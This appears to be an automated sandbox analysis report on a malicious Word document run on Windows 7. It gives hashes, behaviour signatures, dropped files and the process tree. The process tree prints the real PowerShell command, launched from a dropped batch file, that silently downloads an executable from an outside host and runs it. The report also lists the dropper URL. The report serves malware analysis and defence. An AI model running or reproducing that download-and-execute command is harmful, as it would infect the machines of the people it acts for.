Analysis

  • max time kernel
    117s
  • max time network
    131s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    10-04-2024 14:52

General

  • Target

    f0d99b7056dac946af19b50e27855b89f00550d3d8dc420a28731814a039d052.doc

  • Size

    496KB

  • MD5

    664104684583dcca00c6aa94b2d5e8ca

  • SHA1

    9b41eac0a97ab72885cd15e4d6beb93cfc55ae6d

  • SHA256

    f0d99b7056dac946af19b50e27855b89f00550d3d8dc420a28731814a039d052

  • SHA512

    aad9b61dd58fdb8e0c2bbcaf4da4e57fed86c59bfbeef4db91dbf9bc9b58aca98bd93f19c3ea27684c72bff5c8bb13efd4a1f7373db7fbe4954a87df1e3fa4ea

  • SSDEEP

    12288:w+ImtwTAC9FbeVlzxhSBEc4xcNUqws24z7rcr:w+qn9lANxhSSlmNPwsDPr

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://1833.site/rsm1975.exe

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\f0d99b7056dac946af19b50e27855b89f00550d3d8dc420a28731814a039d052.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1716
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Public\Documents\seecenter.bat" "
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:2628
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -w h Start-BitsTransfer -Source htt`p://1833.site/rsm1975.exe -Destination C:\Users\Public\Documents\newthank.exe;C:\Users\Public\Documents\newthank.exe
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2056
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2396

    Network

    MITRE ATT&CK Matrix ATT&CK v13

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm
      Filesize

      20KB

      MD5

      f37ad46b28aed0e4c9b725142cbebbaa

      SHA1

      541459ec1ee86527dee6d39091b2b3ccbfe88fc6

      SHA256

      fc025bbb0116bc21543388e8f513ef27ab4ed2255575c6a4ae96f9ed4d636fd3

      SHA512

      a373813320d75d7c1695cfc8ea5e2cfc3a0b3d9b6cd82a32a5e1b221bfdcbd5a517f376c67793f9ff702d1a10f3cc2afe29b11f5b7f762fd832d46c8fd473b58

    • C:\Users\Public\Documents\seecenter.bat
      Filesize

      166B

      MD5

      41f5c78a5340b70d2cf3c32f145091f0

      SHA1

      1c5fd0e35d67daf18ef2e3b9cead528479a2b9b9

      SHA256

      3e156dd87d1c9b6cf773b6ff6ede0afd73a0ac70299f4a6bd03fec32c4b611d5

      SHA512

      a8440001342996855cff18ccb2552c16e619754140bb4d091a63d6053547ad8a349dbf6fff211f765096efbcfea6d4afe87e44712f5225849808768ae40e9040

    • memory/1716-38-0x0000000070F7D000-0x0000000070F88000-memory.dmp
      Filesize

      44KB

    • memory/1716-1-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1716-2-0x0000000070F7D000-0x0000000070F88000-memory.dmp
      Filesize

      44KB

    • memory/1716-5-0x0000000000420000-0x0000000000520000-memory.dmp
      Filesize

      1024KB

    • memory/1716-6-0x0000000000420000-0x0000000000520000-memory.dmp
      Filesize

      1024KB

    • memory/1716-7-0x0000000000420000-0x0000000000520000-memory.dmp
      Filesize

      1024KB

    • memory/1716-58-0x0000000070F7D000-0x0000000070F88000-memory.dmp
      Filesize

      44KB

    • memory/1716-0-0x000000002FFF1000-0x000000002FFF2000-memory.dmp
      Filesize

      4KB

    • memory/1716-57-0x000000005FFF0000-0x0000000060000000-memory.dmp
      Filesize

      64KB

    • memory/1716-39-0x0000000000420000-0x0000000000520000-memory.dmp
      Filesize

      1024KB

    • memory/2056-31-0x000000006AA00000-0x000000006AFAB000-memory.dmp
      Filesize

      5.7MB

    • memory/2056-36-0x000000006AA00000-0x000000006AFAB000-memory.dmp
      Filesize

      5.7MB

    • memory/2056-35-0x0000000000450000-0x0000000000459000-memory.dmp
      Filesize

      36KB

    • memory/2056-34-0x0000000002740000-0x0000000002780000-memory.dmp
      Filesize

      256KB

    • memory/2056-33-0x0000000002740000-0x0000000002780000-memory.dmp
      Filesize

      256KB

    • memory/2056-32-0x0000000002740000-0x0000000002780000-memory.dmp
      Filesize

      256KB

    • memory/2056-30-0x000000006AA00000-0x000000006AFAB000-memory.dmp
      Filesize

      5.7MB